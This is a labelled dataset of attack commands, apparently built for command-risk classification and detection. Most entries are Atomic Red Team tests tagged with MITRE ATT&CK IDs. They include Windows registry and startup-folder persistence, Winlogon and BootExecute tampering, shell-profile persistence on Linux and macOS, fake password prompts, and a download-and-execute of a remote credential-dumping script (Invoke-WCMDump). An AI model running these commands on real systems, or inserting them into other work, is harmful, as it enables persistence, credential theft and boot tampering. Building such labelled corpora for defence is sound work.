cowWhySo/permission-command-corpus huggingface dataset:
Command: New-Item -ItemType Directory -path "#{new_startup_folder}" Copy-Item -path "#{payload}" -destination "#{new_startup_folder}" Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "#{new_startup_folder}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value
Notes: This test will modify the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Common Startup" 
value to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart
Command: Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" Remove-Item "#{new_startup_folder}" -Recurse -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value
Notes: This test will modify the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V "Common Startup" 
value to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart
Command: New-Item -ItemType Directory -path "#{new_startup_folder}" Copy-Item -path "#{payload}" -destination "#{new_startup_folder}" Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "#{new_startup_folder}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Change Startup Folder - HKCU Modify User Shell Folders Startup Value
Notes: This test will modify the HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders  -V "Startup" value 
to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart
Command: Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" Remove-Item "#{new_startup_folder}" -Recurse -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Change Startup Folder - HKCU Modify User Shell Folders Startup Value
Notes: This test will modify the HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders  -V "Startup" value 
to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart
Command: if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){ New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" } if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){ New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" } Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: HKCU - Policy Settings Explorer Run Key
Notes: This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run to launch calc.exe on boot. 
*Requires reboot
Command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: HKCU - Policy Settings Explorer Run Key
Notes: This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run to launch calc.exe on boot. 
*Requires reboot
Command: if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){ New-Item -ItemType Key -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" } Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: HKLM - Policy Settings Explorer Run Key
Notes: This test will create a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run key value to launch calc.exe on boot. 
*Requires reboot
Command: Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: HKLM - Policy Settings Explorer Run Key
Notes: This test will create a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run key value to launch calc.exe on boot. 
*Requires reboot
Command: $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit"); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue"; $newvalue = $oldvalue + " #{payload}"; Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: HKLM - Append Command to Winlogon Userinit KEY Value
Notes: This test will append a command to the  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.
* Requires reboot
Command: $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup'); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: HKLM - Append Command to Winlogon Userinit KEY Value
Notes: This test will append a command to the  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.
* Requires reboot
Command: $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell"); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue"; $newvalue = $oldvalue + ", #{payload}"; Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: HKLM - Modify default System Shell - Winlogon Shell KEY Value 
Notes: This test change the default value of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell from "explorer.exe" to the full path of "C:\Windows\explorer.exe" 
to log a change to the key's default value without breaking boot sequence. 
An atacker will alternatively replace this with a custom shell.
Command: $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup'); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: HKLM - Modify default System Shell - Winlogon Shell KEY Value 
Notes: This test change the default value of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell from "explorer.exe" to the full path of "C:\Windows\explorer.exe" 
to log a change to the key's default value without breaking boot sequence. 
An atacker will alternatively replace this with a custom shell.
Command: secedit /import /db #{secedit_db} /cfg "#{ini_file}" secedit /configure /db #{secedit_db}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: secedit used to create a Run key in the HKLM Hive
Notes: secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive.
[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)
Command: REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "calc" /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: secedit used to create a Run key in the HKLM Hive
Notes: secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive.
[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)
Command: if (!(Test-Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" /y } Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "#{registry_value}" -Type MultiString
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Modify BootExecute Value
Notes: This test modifies the BootExecute registry value to "autocheck autoche *", which can be used to simulate an adversary's attempt to tamper with the system's boot process. 
Reference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf
NOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.
Command: reg.exe import "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" Remove-Item -Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Modify BootExecute Value
Notes: This test modifies the BootExecute registry value to "autocheck autoche *", which can be used to simulate an adversary's attempt to tamper with the system's boot process. 
Reference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf
NOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.
Command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "#{malicious_app}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Allowing custom application to execute during new RDP logon session
Notes: When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry
By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP
Command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /f /v StartupPrograms /t REG_SZ /d "rdpclip"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Allowing custom application to execute during new RDP logon session
Notes: When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry
By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP
Command: reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram /v ImagePath /t REG_SZ /d "#{malicious_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Creating Boot Verification Program Key for application execution during successful boot
Notes: Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor
can abuse by creating this registry key and providing a malicious application to be executed during successful boot
Command: reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Creating Boot Verification Program Key for application execution during successful boot
Notes: Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor
can abuse by creating this registry key and providing a malicious application to be executed during successful boot
Command: reg add "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify\command" /ve /t REG_SZ /d "C:\Windows\System32\calc.exe" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Add persistence via Windows Context Menu
Notes: This atomic test add persistence taking advantage of the  Windows Context Menu [Hexacorn](https://www.hexacorn.com/blog/2018/07/29/beyond-good-ol-run-key-part-82/)
User have to right click on the main screen or in the white space of the opened folder (e.g. Size Modify).
Command: reg delete "HKEY_CLASSES_ROOT\Directory\Background\shell\Size Modify" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Add persistence via Windows Context Menu
Notes: This atomic test add persistence taking advantage of the  Windows Context Menu [Hexacorn](https://www.hexacorn.com/blog/2018/07/29/beyond-good-ol-run-key-part-82/)
User have to right click on the main screen or in the white space of the opened folder (e.g. Size Modify).
Command: echo "#{script_command}" > #{script_path} REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.001
Platform: windows
ATT&CK tags: T1037.001
Source rule: Logon Scripts
Notes: Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key
that can be viewed in the Registry Editor.
Command: REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1 del #{script_path} >nul 2>&1 del "%USERPROFILE%\desktop\T1037.001-log.txt" >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.001
Platform: windows
ATT&CK tags: T1037.001
Source rule: Logon Scripts
Notes: Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key
that can be viewed in the Registry Editor.
Command: vaultcmd /listcreds:"Windows Credentials"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.004
Platform: windows
ATT&CK tags: T1555.004
Source rule: Access Saved Credentials via VaultCmd
Notes: List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe
Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos
https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/
https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1') Invoke-WCMDump
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.004
Platform: windows
ATT&CK tags: T1555.004
Source rule: WinPwn - Loot local Credentials - Invoke-WCMDump
Notes: Loot local Credentials - Invoke-WCMDump technique via function of WinPwn
Command: osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon 1 with hidden answer with title "Software Update"'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.002
Platform: macos
ATT&CK tags: T1056.002
Source rule: AppleScript - Prompt User for Password
Notes: Prompt User for Password (Local Phishing)
Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
Command: # Creates GUI to prompt for password. Expect long pause before prompt is available. $cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName) # Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework. write-warning $cred.GetNetworkCredential().Password
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.002
Platform: windows
ATT&CK tags: T1056.002
Source rule: PowerShell - Prompt User for Password
Notes: Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials.

Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py
Command: PWD_SPOOF=$(osascript -e 'display dialog "To perform a security update MacOS needs your passphrase." with title "MacOS Security Update" default answer "" with icon stop with hidden answer') echo $PWD_SPOOF
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.002
Platform: macos
ATT&CK tags: T1056.002
Source rule: AppleScript - Spoofing a credential prompt using osascript
Notes: Prompt user for password without requiring permissions to send Apple events to System Settings.
https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/
Command: kubectl get cronjobs -n #{namespace}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.007
Platform: containers
ATT&CK tags: T1053.007
Source rule: ListCronjobs
Notes: Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
Command: kubectl create -f src/cronjob.yaml -n #{namespace}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.007
Platform: containers
ATT&CK tags: T1053.007
Source rule: CreateCronjob
Notes: Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
Command: kubectl delete cronjob art -n #{namespace}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.007
Platform: containers
ATT&CK tags: T1053.007
Source rule: CreateCronjob
Notes: Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
Command: echo '#{command_to_add}' >> ~/.bash_profile
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: macos,linux
ATT&CK tags: T1546.004
Source rule: Add command to .bash_profile
Notes: Adds a command to the .bash_profile file of the current user
Command: head -n '-2' ~/.bash_profile > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bash_profile
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: macos,linux
ATT&CK tags: T1546.004
Source rule: Add command to .bash_profile
Notes: Adds a command to the .bash_profile file of the current user
Command: echo '#{command_to_add}' >> ~/.bashrc
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: macos,linux
ATT&CK tags: T1546.004
Source rule: Add command to .bashrc
Notes: Adds a command to the .bashrc file of the current user
Command: head -n '-2' ~/.bashrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.bashrc
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: macos,linux
ATT&CK tags: T1546.004
Source rule: Add command to .bashrc
Notes: Adds a command to the .bashrc file of the current user
Command: echo '#{command_to_add}' >> ~/.shrc
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: linux
ATT&CK tags: T1546.004
Source rule: Add command to .shrc
Notes: Adds a command to the .shrc file of the current user
Command: head -n '-2' ~/.shrc > /tmp/T1546.004 mv /tmp/T1546.004 ~/.shrc
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: linux
ATT&CK tags: T1546.004
Source rule: Add command to .shrc
Notes: Adds a command to the .shrc file of the current user
Command: echo '#{text_to_append}' >> /etc/profile
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: linux
ATT&CK tags: T1546.004
Source rule: Append to the system shell profile
Notes: An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time "any" user logs in.
Command: sed -i "s/# Atomic Red Team was here! T1546.004//" /etc/profile
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: linux
ATT&CK tags: T1546.004
Source rule: Append to the system shell profile
Notes: An adversary may wish to establish persistence by executing malicious commands from the systems /etc/profile every time "any" user logs in.
Command: echo '#{text_to_append}' >> ~/.profile
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: linux
ATT&CK tags: T1546.004
Source rule: Append commands user shell profile
Notes: An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the "user" logs in.